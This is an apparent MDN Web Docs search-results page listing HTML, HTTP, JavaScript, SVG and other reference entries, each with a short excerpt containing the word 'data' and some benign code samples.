<dfn>: The Definition element - HTML: Hypertext Markup Language
WebHTMLElementdfn
it has been in orbit for over 20 years, scanning the sky and returning data and photographs of unprecedented quality and detail.</p> <p>indeed, the <abbr title="hubble space telescope">hst</abbr> has arguably done more to advance science than any device ever built.</p> note the <abbr> element nested inside the <dfn>.
<footer> - HTML: Hypertext Markup Language
WebHTMLElementfooter
a footer typically contains information about the author of the section, copyright data or links to related documents.
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
WebHTMLElementhtml
including a valid lang declaration on the <html> element also ensures that important metadata contained in the page's <head>, such as the page's <title>, are also announced properly.
<label> - HTML: Hypertext Markup Language
WebHTMLElementlabel
this means that, for example, a screenreader will read out the label when the user is focused on the form input, making it easier for an assistive technology user to understand what data should be entered.
<noscript> - HTML: Hypertext Markup Language
WebHTMLElementnoscript
content categories metadata content, flow content, phrasing content.
<param>: The Object Parameter element - HTML: Hypertext Markup Language
WebHTMLElementparam
possible values are: data: default value.
<picture>: The Picture element - HTML: Hypertext Markup Language
WebHTMLElementpicture
this lets browsers opt for lower-density versions in data-saving modes, and you don't have to write explicit media conditions.
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
WebHTMLElementtfoot
charoff deprecated since html4obsolete since html5 this attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.
<thead>: The Table Head element - HTML: Hypertext Markup Language
WebHTMLElementthead
charoff in html 4, in html5 this attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.
<title>: The Document Title element - HTML: Hypertext Markup Language
WebHTMLElementtitle
<title>grandma's heavy metal festival journal</title> content categories metadata content.
dir - HTML: Hypertext Markup Language
the auto value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database.
dropzone - HTML: Hypertext Markup Language
link, which will create a link to the dragged data.
inputmode - HTML: Hypertext Markup Language
the inputmode global attribute is an enumerated attribute that hints at the type of data that might be entered by the user while editing the element or its contents.
title - HTML: Hypertext Markup Language
some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements.
Link types - HTML: Hypertext Markup Language
only the data on the page can indicate this.
Reason: CORS request did not succeed - HTTP
one scenario might be an http service being developed that panicked without returning any data.
Reason: CORS request external redirect not allowed - HTTP
for example, if the page https://service.tld/fetchdata were requested, and the http response is "301 moved permanently", "307 temporary redirect", or "308 permanent redirect" with a location of https://anotherservice.net/getdata, the cors request will fail in this manner.
HTTP conditional requests - HTTP
strong validation is very strict and may be difficult to guarantee at the server level, but it does guarantee no data loss at any time, sometimes at the expense of performance.
Cross-Origin Resource Policy (CORP) - HTTP
these vulnerabilities allowed sensitive data disclosure due to a race condition which arose as part of speculative execution functionality, designed to improve performance.
Accept-Encoding - HTTP
two common cases lead to this: the data to be sent is already compressed and a second compression won't lead to smaller data to be transmitted.
Access-Control-Allow-Origin - HTTP
note: null should not be used: "it may seem safe to return access-control-allow-origin: "null", but the serialization of the origin of any resource that uses a non-hierarchical scheme (such as data: or file:) and sandboxed documents is defined to be "null".
Cache-Control - HTTP
it therefore forbids a proxy or browser feature, such as google’s web light, from converting images to minimize data for a cache store or slow connection.
CSP: plugin-types - HTTP
<meta http-equiv="content-security-policy" content="object-src 'none'"> allowing flash content the content security policy content-security-policy: plugin-types application/x-shockwave-flash will allow to load flash objects: <object data="https://example.com/flash" type="application/x-shockwave-flash"></object> allowing java applets to load an <applet> you must specify application/x-java-applet: content-security-policy: plugin-types application/x-java-applet specifications specification status comment content security policy level 3the definition of 'plugin-types' in that specification.
Content-Security-Policy-Report-Only - HTTP
content-security-policy: default-src https:; report-uri /csp-violation-report-endpoint/ violation report syntax the report json object contains the following data: blocked-uri the uri of the resource that was blocked from loading by the content security policy.
Content-Security-Policy - HTTP
the exception to this is if the worker script's origin is a globally unique identifier (for example, if its url has a scheme of data or blob).
ETag - HTTP
WebHTTPHeadersETag
for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
If-None-Match - HTTP
for other methods, and in particular for put, if-none-match used with the * value can be used to save a file not known to exist, guaranteeing that another upload didn't happen before, losing the data of the previous put; this problem is a variation of the lost update problem.
Server-Timing - HTTP
database read/write, cpu time, file system access, etc.) in the developer tools in the user's browser or in the performanceservertiming interface.
Strict-Transport-Security - HTTP
now your private data is exposed to the hacker.
Tk - HTTP
WebHTTPHeadersTk
the origin server does not know, in real-time, whether it has received prior consent for tracking this user, user agent, or device, but promises not to use or share any dnt:1 data until such consent has been determined, and further promises to delete or permanently de-identify within 48 hours any dnt:1 data received for which such consent has not been received.
Trailer - HTTP
WebHTTPHeadersTrailer
the trailer response header allows the sender to include additional fields at the end of chunked messages in order to supply metadata that might be dynamically generated while the message body is sent, such as a message integrity check, digital signature, or post-processing status.
GET - HTTP
WebHTTPMethodsGET
requests using get should only retrieve data.
HTTP request methods - HTTP
WebHTTPMethods
requests using get should only retrieve data.
Network Error Logging - HTTP
servfail) dns.address_changed for security reasons, if the server ip address that delivered the original report is different to the current server ip address at time of error generation, the report data will be downgraded to only include information about this problem and the type set to dns.address_changed.
Proxy servers and tunneling - HTTP
http tunneling tunneling transmits private network data and protocol information through public network by encapsulating the data.
411 Length Required - HTTP
WebHTTPStatus411
note: by specification, when sending data in a series of chunks, the content-length header is omitted and at the beginning of each chunk you need to add the length of the current chunk in hexadecimal format.
412 Precondition Failed - HTTP
WebHTTPStatus412
for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
415 Unsupported Media Type - HTTP
WebHTTPStatus415
the format problem might be due to the request's indicated content-type or content-encoding, or as a result of inspecting the data directly.
425 Too Early - HTTP
WebHTTPStatus425
status 425 too early specifications specification title rfc 8470, section 5.2: 425: early data using early data in http ...
HTTP
WebHTTP
http is a stateless protocol, meaning that the server does not keep any data (state) between two requests.
Concurrency model and the event loop - JavaScript
this offers some nice properties when reasoning about your program, including the fact that whenever a function runs, it cannot be pre-empted and will run entirely before any other code runs (and can modify data the function manipulates).
Expressions and operators - JavaScript
destructuring for more complex assignments, the destructuring assignment syntax is a javascript expression that makes it possible to extract data from arrays or objects using a syntax that mirrors the construction of array and object literals.
Functions - JavaScript
they hold "persistent" and "encapsulated" data for the inner functions to work with.
JavaScript modules - JavaScript
createreportlist() — creates an unordered list appended inside a specified wrapper element, which can be used to output report data into.
Regular expression syntax cheatsheet - JavaScript
see unicode data proplist.txt for more info.
Unicode property escapes - JavaScript
see unicode data proplist.txt for more info.
Regular expressions - JavaScript
the roles of "class" and "argument" get reversed: in the case of .match(), the string class (or data type) owns the method and the regular expression is just an argument, while in the case of .exec(), it is the regular expression that owns the method, with the string being the argument.
Using Promises - JavaScript
e compose function, which is common in functional programming: const applyasync = (acc,val) => acc.then(val); const composeasync = (...funcs) => x => funcs.reduce(applyasync, promise.resolve(x)); the composeasync() function will accept any number of functions as arguments, and will return a new function that accepts an initial value to be passed through the composition pipeline: const transformdata = composeasync(func1, func2, func3); const result3 = transformdata(data); in ecmascript 2017, sequential composition can be done more simply with async/await: let result; for (const f of [func1, func2, func3]) { result = await f(result); } /* use last result (i.e.
JavaScript Guide - JavaScript
chapters this guide is divided into several chapters: introduction about this guide about javascript javascript and java ecmascript tools hello world grammar and types basic syntax & comments declarations variable scope variable hoisting data structures and types literals control flow and error handling if...else switch try/catch/throw error objects loops and iteration for while do...while break/continue for..in for..of functions defining functions calling functions function scope closures arguments & parameters arrow functions expressions and operators assignment & com...
About the JavaScript reference - JavaScript
more reference pages deprecated and obsolete features lexical grammar data types and data structures ...
Public class fields - JavaScript
this is useful for caches, fixed-configuration, or any other data you don't need to be replicated across instances.
SyntaxError: missing ] after element list - JavaScript
examples incomplete array initializer var list = [1, 2, var instruments = [ 'ukulele', 'guitar', 'piano' }; var data = [{foo: 'bar'} {bar: 'foo'}]; correct would be: var list = [1, 2]; var instruments = [ 'ukulele', 'guitar', 'piano' ]; var data = [{foo: 'bar'}, {bar: 'foo'}]; ...
SyntaxError: missing formal parameter - JavaScript
an identifier differs from a string in that a string is data, while an identifier is part of the code.
TypeError: "x" is read-only - JavaScript
(technically, it is a non-writable data property.) this error happens only in strict mode code.
setter - JavaScript
note the following when working with the set syntax: it can have an identifier which is either a number or a string; it must have exactly one parameter (see incompatible es5 change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another set or with a data entry for the same property.
Array.prototype.concat() - JavaScript
data types such as strings, numbers and booleans (not string, number, and boolean objects): concat copies the values of strings and numbers into the new array.
Array.prototype.copyWithin() - JavaScript
description the copywithin works like c and c++'s memmove, and is a high-performance method to shift the data of an array.
Array - JavaScript
since an array's length can change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense; this depends on how the programmer chooses to use them.
Atomics - JavaScript
atomic operations when memory is shared, multiple threads can read and write the same data in memory.
BigInt64Array() constructor - JavaScript
if control over byte order is needed, use dataview instead.
BigInt64Array - JavaScript
if control over byte order is needed, use dataview instead.
BigUint64Array() constructor - JavaScript
if control over byte order is needed, use dataview instead.
BigUint64Array - JavaScript
if control over byte order is needed, use dataview instead.
Boolean.prototype.valueOf() - JavaScript
syntax bool.valueof() return value the primitive value of the given boolean object description the valueof() method of boolean returns the primitive value of a boolean object or literal boolean as a boolean data type.
Date.prototype.valueOf() - JavaScript
description the valueof() method returns the primitive value of a date object as a number data type, the number of milliseconds since midnight 01 january, 1970 utc.
Int16Array() constructor - JavaScript
if control over byte order is needed, use dataview instead.
Int16Array - JavaScript
if control over byte order is needed, use dataview instead.
Int32Array() constructor - JavaScript
if control over byte order is needed, use dataview instead.
Int32Array - JavaScript
if control over byte order is needed, use dataview instead.
Intl.DateTimeFormat() constructor - JavaScript
implementations may also recognize the time zone names of the iana time zone database, such as "asia/shanghai", "asia/kolkata", "america/new_york".
Intl.Locale.prototype.baseName - JavaScript
the basename property returns basic, core information about the locale in the form of a substring of the complete data string.
Intl.Locale.prototype.calendar - JavaScript
these keys add additional data about the locale, and are added to locale identifiers by using the -u extension.
Intl.Locale.prototype.caseFirst - JavaScript
these subtags add additional data about the locale, and are added to locale identifiers by using the -u extension key.
Intl.Locale.prototype.numberingSystem - JavaScript
these subtags add additional data about the locale, and are added to locale identifiers by first adding the -u key.
Intl.Locale.prototype.numeric - JavaScript
these subtags add additional data about the locale, and are added to locale identifiers by using the -u extension key.
Intl.Locale - JavaScript
instance properties intl.locale.prototype.basename returns basic, core information about the locale in the form of a substring of the complete data string.
Number - JavaScript
(more details on this are described in the ecmascript standard, chapter 6.1.6 the number type.) const biggestint = number.max_safe_integer // (253 - 1) => 9007199254740991 const smallestint = number.min_safe_integer // -(253 - 1) => -9007199254740991 when parsing data that has been serialized to json, integer values falling outside of this range can be expected to become corrupted when json parser coerces them to number type.
Object.isFrozen() - JavaScript
description an object is frozen if and only if it is not extensible, all its properties are non-configurable, and all its data properties (that is, properties which are not accessor properties with getter or setter components) are non-writable.
Object - JavaScript
the object class represents one of javascript's data types.
handler.get() - JavaScript
ese operations: property access: proxy[foo]and proxy.bar inherited property access: object.create(proxy)[foo] reflect.get() invariants if the following invariants are violated, the proxy will throw a typeerror: the value reported for a property must be the same as the value of the corresponding target object property if the target object property is a non-writable, non-configurable own data property.
handler.set() - JavaScript
oxy[foo] = bar and proxy.foo = bar inherited property assignment: object.create(proxy)[foo] = bar reflect.set() invariants if the following invariants are violated, the proxy will throw a typeerror: cannot change the value of a property to be different from the value of the corresponding target object property if the corresponding target object property is a non-writable, non-configurable data property.
RegExp - JavaScript
examples using a regular expression to change data format the following script uses the replace() method of the string instance to match a name in the format first last and output it in the format last, first.
SharedArrayBuffer() constructor - JavaScript
the sharedarraybuffer() constructor is used to create a sharedarraybuffer object representing a generic, fixed-length raw binary data buffer, similar to the arraybuffer object.
String length - JavaScript
length is a read-only data property of string instances.
String.prototype.valueOf() - JavaScript
description the valueof() method of string returns the primitive value of a string object as a string data type.
String - JavaScript
description strings are useful for holding data that can be represented in text form.
Symbol.prototype[@@toPrimitive] - JavaScript
description the [@@toprimitive]() method of symbol returns the primitive value of a symbol object as a symbol data type.
Symbol() constructor - JavaScript
it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
Symbol.asyncIterator - JavaScript
yield "hello"; yield "async"; yield "iteration!"; } }; (async () => { for await (const x of myasynciterable) { console.log(x); // expected output: // "hello" // "async" // "iteration!" } })(); when creating an api, remember that async iterables are designed to represent something iterable — like a stream of data or a list —, not to completely replace callbacks and events in most situations.
Symbol.prototype.valueOf() - JavaScript
description the valueof method of symbol returns the primitive value of a symbol object as a symbol data type.
TypedArray.from() - JavaScript
ed array.'); } func = func || function (elem) { return elem; }; if (typeof func !== 'function') { throw new typeerror('specified argument is not a function'); } obj = object(obj); if (!obj['length']) { return new this(0); } var copy_data = []; for(var i = 0; i < obj.length; i++) { copy_data.push(obj[i]); } copy_data = copy_data.map(func, thisobj); var typed_array = new this(copy_data.length); for(var i = 0; i < typed_array.length; i++) { typed_array[i] = copy_data[i]; } return typed_array; } })(); } e...
TypedArray.name - JavaScript
the name property describes of what data type the array consists.
TypedArray - JavaScript
a typedarray object describes an array-like view of an underlying binary data buffer.
Uint16Array() constructor - JavaScript
if control over byte order is needed, use dataview instead.
Uint16Array - JavaScript
if control over byte order is needed, use dataview instead.
Uint32Array() constructor - JavaScript
if control over byte order is needed, use dataview instead.
Uint32Array - JavaScript
if control over byte order is needed, use dataview instead.
WeakMap - JavaScript
primitive data types as keys are not allowed (e.g.
WeakSet - JavaScript
use case: detecting circular references functions that call themselves recursively need a way of guarding against circular data structures by tracking which objects have already been processed.
Object initializer - JavaScript
values of object properties can either contain primitive data types or other objects.
for...in - JavaScript
although arrays are often more practical for storing data, in situations where a key-value pair is preferred for working with data (with properties acting as the "key"), there may be instances where you want to check if any of those keys hold a particular value.
import.meta - JavaScript
the import.meta object exposes context-specific metadata to a javascript module.
import - JavaScript
the module: file.js function getjson(url, callback) { let xhr = new xmlhttprequest(); xhr.onload = function () { callback(this.responsetext) }; xhr.open('get', url, true); xhr.send(); } export function getusefulcontents(url, callback) { getjson(url, data => callback(json.parse(data))); } the main program: main.js import { getusefulcontents } from '/modules/file.js'; getusefulcontents('http://www.example.com', data => { dosomethinguseful(data); }); dynamic import this example shows how to load functionality on to a page based on a user action, in this case a button click, and then call a function within that module.
throw - JavaScript
= function() { return string(this.value) }; } else { throw new zipcodeformatexception(zip); } } function zipcodeformatexception(value) { this.value = value; this.message = 'does not conform to the expected format for a zip code'; this.tostring = function() { return this.value + this.message; }; } /* * this could be in a script that validates address data * for us addresses.
try...catch - JavaScript
openmyfile(); try { // tie up a resource writemyfile(thedata); } finally { closemyfile(); // always close the resource } examples nested try-blocks first, let's see what happens with this: try { try { throw new error('oops'); } finally { console.log('finally'); } } catch (ex) { console.error('outer', ex.message); } // output: // "finally" // "outer" "oops" now, if we already caught the exception in the inner try-block by adding ...
Statements and declarations - JavaScript
import.meta an object exposing context-specific metadata to a javascript module.
Trailing commas - JavaScript
both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4, ]'); json.parse('{"foo" : 1, }'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4 ]'); json.parse('{"foo" : 1 }'); specifications specification ecmascript (ecma-262) ...
JavaScript shells - JavaScript
can use perl modules directly from javascript: dbi for database integration, gtk2 for gui apps, posix for system programming, etc.
icons - Web app manifests
the color information in the icon is discarded and only the alpha data is used.
MathML element reference - MathML
alignment) <mstyle> (style change) <msub> (subscript) <msup> (superscript) <msubsup> (subscript-superscript pair) t <mtable> (table or matrix) <mtd> (cell in a table or a matrix) <mtext> (text) <mtr> (row in a table or a matrix) u <munder> (underscript) <munderover> (underscript-overscript pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <msub> <m...
Handling media support issues in web content - Web media technologies
<img src="/images/stafff-photo-huge-progressive.jpg" alt="staff photo, taken in january of 1972"> when using a progressive image, the data is stored in such a way that the browser is able to render a low-quality representation of the image as soon as possible, then update the image as it loads—or after it's finished loading—to present it in full quality.
Media type and format guide: image, audio, and video content - Web media technologies
WebMediaFormats
media file types and codecs media containers (file types) a guide to the file types that contain media data.
Critical rendering path - Web Performance
the server returns the html - response headers and data.
Lazy loading - Web Performance
see also: element link images and iframes very often, webpages contain many images that contribute to data-usage and how fast a page can load.
Navigation and resource timings - Web Performance
calculating timings we can use these values to measure specific timings of interest: let dns = time.domainlookupend - time.domainlookupstart, tcp = time.connectend - time.connectstart, ssl != time.secureconnectionstart, time to first byte time to first byte is the time between the navigationstart (start of the navigation) and responsestart, (when the first byte of response data is received) available in the performancetiming api: let ttfb = time.responsestart - time.navigationstart; page load time page load time is the time between navigationstart and the start of when the load event is sent for the current document.
PWA developer guide - Progressive web apps (PWAs)
using service workers to run offline description alerting the user using notifications description creating a web app from an existing site description advanced topics pushing data from the server to your web application some description resource management description integration with the host device description security and privacy description gaming topics for web app developers description polishing web apps web api equivalents for common native apis some description platform-specific tips and issues description web application performance guide des...
Graphic design for responsive sites - Progressive web apps (PWAs)
it is good for the visuals of games and complex data visualisions, but for standard user interface elements it is not very efficient.
Media - Progressive web apps (PWAs)
there are more examples of the display property in a later page in this tutorial: xml data.
Mobile first - Progressive web apps (PWAs)
anyone who has ever tried to enter data into a form on a mobile device, or even just navigated around a complex site, knows this well.
The building blocks of responsive design - Progressive web apps (PWAs)
because vector images are calculated based on mathematical algorithms rather than containing separate data on every pixel in the image, they tend to be smaller in file size, and are infinitely scalable when zoomed or viewed on high resolution devices (at least, in theory).
Progressive web apps (PWAs)
tools localforage — a nice simple javascript library for making client-side data storage really simple; it uses indexeddb by default and falls back to web sql/web storage if necessary.
Web API reference - Web technology reference
WebReferenceAPI
data management apis user data can be stored and managed using this set of apis.
SVG Core Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeCore
value: any valid language id; animatable: no xml:space deprecated since svg 2 svg supports the standard xml attribute xml:space to specify the handling of white space characters within a given <text> element's character data.
SVG Event Attributes - SVG: Scalable Vector Graphics
WebSVGAttributeEvents
onunload document element event attributes oncopy, oncut, onpaste global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting graphical event attributes onactivate, onfocusin, onfocus...
baseProfile - SVG: Scalable Vector Graphics
the attribute does not specify any processing restrictions; it can be considered metadata.
class - SVG: Scalable Vector Graphics
WebSVGAttributeclass
example <html> <body> <svg width="120" height="220" viewport="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg"> <style type="text/css" > <![cdata[ rect.rectclass { stroke: #000066; fill: #00cc00; } circle.circleclass { stroke: #006600; fill: #cc0000; } ]]> </style> <rect class="rectclass" x="10" y="10" width="100" height="...
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
<svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <style type="text/css"> <![cdata[ #smallrect { stroke: #000066; fill: #00cc00; } ]]> </style> <rect id="smallrect" x="10" y="10" width="100" height="100" /> </svg> usage notes value <id> default value none animatable no <id> specifies the element's id.
image-rendering - SVG: Scalable Vector Graphics
the resampling is always done in a truecolor (e.g., 24-bit) color space even if the original data and/or the target device is indexed color.
marker-end - SVG: Scalable Vector Graphics
marker-end is only rendered on the final vertex of the path data.
marker-mid - SVG: Scalable Vector Graphics
the marker is rendered on every vertex other than the first and last vertices of the path data.
marker-start - SVG: Scalable Vector Graphics
marker-start is only rendered on the first vertex of the path data.
onclick - SVG: Scalable Vector Graphics
WebSVGAttributeonclick
thirty-seven elements are using this attribute: <a>, <altglyph>, <animate>, <animatemotion>, <animatetransform>, <circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none ...
style - SVG: Scalable Vector Graphics
WebSVGAttributestyle
html,body,svg { height:100% } <svg viewbox="0 0 100 60" xmlns="http://www.w3.org/2000/svg"> <rect width="80" height="40" x="10" y="10" style="fill: skyblue; stroke: cadetblue; stroke-width: 2;"/> </svg> usage notes value <style> default value none animatable no <style> the syntax of style data depends on the style sheet language.
xlink:href - SVG: Scalable Vector Graphics
value <iri> default value none animatable yes tref for <tref>, xlink:href defines a reference to an element whose character data content shall be used as character data for this <tref> element.
SVG Attribute reference - SVG: Scalable Vector Graphics
WebSVGAttribute
nt event attributes onabort, onerror, onresize, onscroll, onunload global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting graphical event attributes onactivate, onfocusin, onfocus...
<desc> - SVG: Scalable Vector Graphics
WebSVGElementdesc
</desc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
<feComponentTransfer> - SVG: Scalable Vector Graphics
th <fecomponenttransfer> svg filter primitive performs color-component-wise remapping of data for each pixel.
<feComposite> - SVG: Scalable Vector Graphics
the arithmetic operation is useful for combining the output from the <fediffuselighting> and <fespecularlighting> filters with texture data.
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
the <feimage> svg filter primitive fetches image data from an external source and provides the pixel data as output (meaning if the external source is an svg image, it is rasterized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface this element implements the svgfeimageelement interface.
<foreignObject> - SVG: Scalable Vector Graphics
a-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<foreignobject>' in that specification.
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
mple dot marker definition --> <marker id="dot" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker> </defs> <!-- coordinate axes with a arrowhead in both direction --> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="url(#arrow)" marker-end="url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> </svg> attributes markerheight this attribute defines the height of the marker viewport.
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescriptive elementstext content elements<a> specifications specification status comment scalable vector graphics (svg) 2the definition of '<text>' in that specification.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics (svg) 2the definition of '<title>' in that specification.
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
table, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status comment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification.
Linking - SVG: Scalable Vector Graphics
WebSVGLinking
when svg documents are embedded within a parent html document using the tag: page1.html: <html> <body> <p>this is a svg button:</p> <object width="100" height="50" type="image/svg+xml" data="button.svg"/> </body> </html> button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <a xlink:href="page2.html" target="_top"> <g> <!-- button graphical elements here --> </g> </a> </svg> the specification says that the browser should navigate to the html document page2.html when the button graphics are clicked.
SVG 1.1 Support in Firefox - SVG: Scalable Vector Graphics
metadata implemented.
SVG as an Image - SVG: Scalable Vector Graphics
images, stylesheets) cannot be loaded, though they can be used if inlined through data: uris.
Clipping and masking - SVG: Scalable Vector Graphics
instead its pixel data will be used to determine, which pixels of the circle "make it" to the final rendering.
Fills and Strokes - SVG: Scalable Vector Graphics
<?xml version="1.0" standalone="no"?> <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"> <defs> <style type="text/css"><![cdata[ #myrect { stroke: black; fill: red; } ]]></style> </defs> <rect x="10" height="180" y="10" width="180" id="myrect"/> </svg> moving styles to an area like this can make it easier to adjust properties on large groups of elements.
Getting started - SVG: Scalable Vector Graphics
the svg file can be referenced with an object element: <object data="image.svg" type="image/svg+xml" /> likewise an iframe element can be used: <iframe src="image.svg"></iframe> an img element can theoretically be used too.
Gradients in SVG - SVG: Scalable Vector Graphics
="0%"/> <stop class="stop2" offset="50%"/> <stop class="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="0%" stop-color="red"/> <stop offset="50%" stop-color="black" stop-opacity="0"/> <stop offset="100%" stop-color="blue"/> </lineargradient> <style type="text/css"><![cdata[ #rect1 { fill: url(#gradient1); } .stop1 { stop-color: red; } .stop2 { stop-color: black; stop-opacity: 0; } .stop3 { stop-color: blue; } ]]></style> </defs> <rect id="rect1" x="10" y="10" rx="15" ry="15" width="100" height="100"/> <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#gradient2)"/> </svg> screenshotlive sample ab...
Other content in SVG - SVG: Scalable Vector Graphics
actually, in a conforming viewer it will react in no way at all, the data will simply be omitted.
SVG and CSS - SVG: Scalable Vector Graphics
the next page demonstrates this: xml data ...
Tools for SVG - SVG: Scalable Vector Graphics
to store inkscape specific data, it extends the svg file with elements and attributes in a custom namespace, but you can also choose to export as plain svg.
SVG: Scalable Vector Graphics
WebSVG
connect 4 jvectormap (interactive maps for data visualization) jointjs (javascript diagramming library) d3 ( javascript library for visualizing data with html, svg, and css ) ...
Secure contexts - Web security
get access to data such as user credentials.
XML Index - XML: Extensible Markup Language
WebXMLIndex
the primary purpose of the language is the sharing of data across different systems, such as the internet.
xml:base - XML: Extensible Markup Language
WebXMLxml:base
